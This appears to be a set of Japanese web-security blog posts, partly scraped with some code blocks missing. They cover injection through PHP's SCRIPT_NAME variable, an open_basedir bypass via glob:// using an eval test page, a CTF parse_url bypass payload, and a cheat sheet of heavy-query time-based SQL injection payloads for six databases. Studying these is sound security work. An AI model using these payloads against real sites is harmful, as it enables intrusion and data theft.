$_SERVER['SCRIPT_NAME']変数のインジェクション

0x00 概要

$_SERVER['SCRIPT_NAME']はPHP用の1つ組み込み変数です。ここでは、使用時には、一般的にフィルタリングされません。 fuzzの後、この変数の取得は実際に問題がある、予期しないデータが導入されます。
一部のWebサーバーでは、この変数を直接使用すると、SQLインジェクションまたはxssの脆弱性が発生する可能性があります。

0x01 テスト

Apache/2.4.23に $_SERVER['SCRIPT_NAME']変数があります。 私のローカルテスト環境は、Apache/2.4.23(Win32)OpenSSL/1.0.2j PHP/5.5.38 MySQL/5.5.53です。 現在Apache/2.4.23でのみ成功しています。
$_SERVER['SCRIPT_NAME']変数の公式ドキュメントは次のとおりです:
簡単に言えば、この変数は、Webサービスのルートディレクトリから現在のファイルへのパスを返します。Webルートディレクトリが/var/www/htmlで、現在のファイルパスが/var/www/html/t/index.phpであると仮定すると、index.phpで取得された$_SERVER['SCRIPT_NAME']/t/index.php
上記は正常なプロセスです。 しかし、PHPにはパラメータを渡る方法が2種類があります。 1つは、index.php?id =1のような、キーと値のペアの伝統的な形式です。 もう一つのルートで、パラメータを渡すことです:/index.php/xx/b/c$_SERVER['SCRIPT_NAME']変数は、ルートでパラメータを渡すことにさらに有害です。
ルートでパラメータを渡すのURLでは、URLの最後に /*を追加することができます。つまり、ファイル名の後にスペース + /*を追加して、ファイル名を破棄して、ファイル名の後にデータを取得できます。
テストでは、'(一重引用符)"(二重引用符)、;(セミコロン)<>(角カッコ)()(カッコ)などのペイロードで一般的に使用される記号はフィルタリングされません。 一般的なCMSでは、一般にGET、POST、COOKIEの3つの変数のみがフィルタリングされます.GPCのグローバルエスケープが有効になっていても、$_SERVER変数はエスケープされません。
特別な注意が必要なのは、ペイロードに?(疑問符)は表示されません、疑問符が切り捨てられ、ファイル名の後にデータを取得できなくなります。

0x02 使用方法

私はかつてこのCMSに遭遇し、$_SERVER['SCRIPT_NAME']をページに直接書きました。 このようにして、反射的なxss攻撃を実行できます。 さらに、CMSはヘッダを保護せずにphpファイルとして直接ページをキャッシュします。 言い換えれば、私たちが書くPHP文もキャッシュファイルにキャッシュされます。 WebShellを直接生成します。
コード監査中に$_SERVER['SCRIPT_NAME']変数を追跡して、変数の値がデータベースに渡されるか、ページに直接渡されるかどうかを調べることができます。

0x03 ケーススタディ - XSS

index.phpコードは次のとおりです: 
exp: http://localhost/index.php/ /*

0x04 ケーススタディ - SQLインジェクション

index.phpコードは次のとおりです:
exp:


クリエイティブ・コモンズ・ライセンス
この 作品 は クリエイティブ・コモンズ 表示 - 非営利 - 継承 3.0 非移植 ライセンスの下に提供されています。

glob:を使用して、open_basedirをバイパスする

0x00 open_basedir

open_basedirは、指定されたディレクトリへのユーザアクセスを制限します。 つまり、ユーザーはサーバー上の指定されたディレクトリ以外のファイルにアクセスできません。 クロスサイトを防ぐためによく使用されます。
open_basedir=/home/wwwroot/home/web1/:/tmp/とすると、web1経由でサーバにアクセスするユーザは、サーバ上で/home/wwwroot/home/web1/および/tmp/以外のファイルを取得することはできません。もちろん、物事は絶対的なものではありません。 open_basedirの設定は、systemなどのコマンド実行関数では無効です。 一般に、コマンド実行を引き起こしやすいsystemやその他の関数は、disable_functionに置かれます。 したがって、通常の状況下では、open_basedir の設定はクロスサイトでは依然として非常に役に立ちます。
しかし、ハッカーの精神は何ですか? ハッカーの精神は、不可能なものすべてに挑戦することです。 一連のコマンド実行機能が無効になっていても、open_basedirが設定されていても、スマートハッカーは目に見えない攻撃ポイントを使用して攻撃を実行します。open_basedirをバイパスするの最も一般的な使い方はsymlink()関数を使うことです。 具体的な使用については、私が知っている以上phith0nのブログでは言ったことが参照できます:
このため、disable_functionsymlink()を追加する必要があります。 これは刑務所を構成し、Webshellを取得したハッカーは、制限されたフォルダに閉じ込められます。

0x01 glob://疑似プロトコル

glob://疑似プロトコルの公式文書は以下の通りです:
glob://によって、私たちのフィルタ基準を満たしのディレクトリを得ることができます。 問題はここで、glob://を使用してディレクトリをフィルタリングすることは、open_basedirによって制限されていません。glob://マッチングによって、open_basedirをバイパスする,指定されたディレクトリ以外のディレクトリにアクセスできます。 実際、PHPのglob()も同様の問題を抱えていました。 しかし、すぐに修正されました。 しかし、glob://の問題は今日まで続く。

0x02 コード例

私はここでドッカーを使用しています、環境は:nginx / 1.12.2 + PHP 7.1.7(cli)。
バイパス効果をよりよく知るために、disable_functionからscandir()を取り出しました。 次にコードを書く:
  //index.php
  error_reporting(E_ALL);
  ini_set('open_basedir', '/home/wwwroot/default/');
  eval($_GET['a']);
glob://を使わずにディレクトリを列挙しようとします。
open_basedirで許可されている範囲内のディレクトリを自由にリストすることは自明です。 ただし、指定されたファイルの範囲を超えた場合、open_basedir restriction in effecの警告を取得する、ディレクトリの列挙は実装できません。
次に、glob://疑似プロトコルを使用してその効果を確認します。
ご覧のとおり、glob://疑似プロトコルを使用した後で、/home/ディレクトリ下のサブディレクトリを取得できました。


クリエイティブ・コモンズ・ライセンス
この 作品 は クリエイティブ・コモンズ 表示 - 非営利 - 継承 3.0 非移植 ライセンスの下に提供されています。

CTF問題を例として,parse_url関数をバイパスすることを学ぶ

問題

運用保守担当者の間違いのため、イントラネット認証ページは外部ネットワークに展開されましたが、幸いにも、開発者はドメイン名の検証が行われました。

Writeup

ソースコードを表示し、次のコードを見つけます:
  
  ini_set("display_errors",0);
  $uri = $_SERVER['REQUEST_URI'];
  if(stripos($uri,".")){
      die("Unkonw URI.");
  }
  if(!parse_url($uri,PHP_URL_HOST)){
      $uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
  }
  $host = parse_url($uri,PHP_URL_HOST);
  if($host === "c7f.zhuque.com"){
      setcookie("AuthFlag","flag{*******");
  }
  ?>
明らかに、parse_url関数をバイパスすることを検査です.
しかし、最初にドットのマッチングが増え、バイパスすることができます。 ペイロードを使用する:.@c7f.zhuque.com/..//
以上です。

高負荷のSQL文を使用したTime-based SQLインジェクション

0x00 概要

sleep、benchmark関数を使用できない場合,より多くの計算量を伴うクエリは,データベースのクエリ時間を長くし、遅延注入の効果を達成する。たとえば、mssqlはこのようなものを使うことができます:
  AND 2333=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)

0x01 なぜ高負荷のSQL文を必要としますか?

時間遅延を引き起こすいくつかの関数が注入で使用できない場合、たとえば、次の関数がフィルタリングされます:
  • sleep
  • benchmark
  • Get_lock
  • おそらくもっと
データベースのクエリ時間を可能な限り長くするために、遅延注入のために重いクエリを使用することができます。たとえば、information_schemaの2つの大きなテーブルにデカルト積とその他のステートメントを実行させます。注意:benchmarkを使用した注入は、基本的には重いクエリの範囲内ですが、ここでは説明しません。

0x02 cheatsheet

  • PostgreSQL
    • AND 2333=(SELECT COUNT(*) FROM GENERATE_SERIES(1,1000000000))
  • MSSQL
    • AND 2333=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
  • Oracle
    • AND 2333=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
  • IBM DB2
    • AND 2333=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
  • SQLite
    • AND 23333=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000/2))))
  • Mysql
    • AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);
より多くのpayload:

0x03 参照



クリエイティブ・コモンズ・ライセンス
この 作品 は クリエイティブ・コモンズ 表示 - 非営利 - 継承 3.0 非移植 ライセンスの下に提供されています。

$_SERVER['SCRIPT_NAME']変数のインジェクション

0x00 概要 $_SERVER['SCRIPT_NAME']はPHP用の1つ組み込み変数です。ここでは、使用時には、一般的にフィルタリングされません。 fuzzの後、この変数の取得は実際に問題がある、予期しないデータが導入されます。 一部のWebサーバ...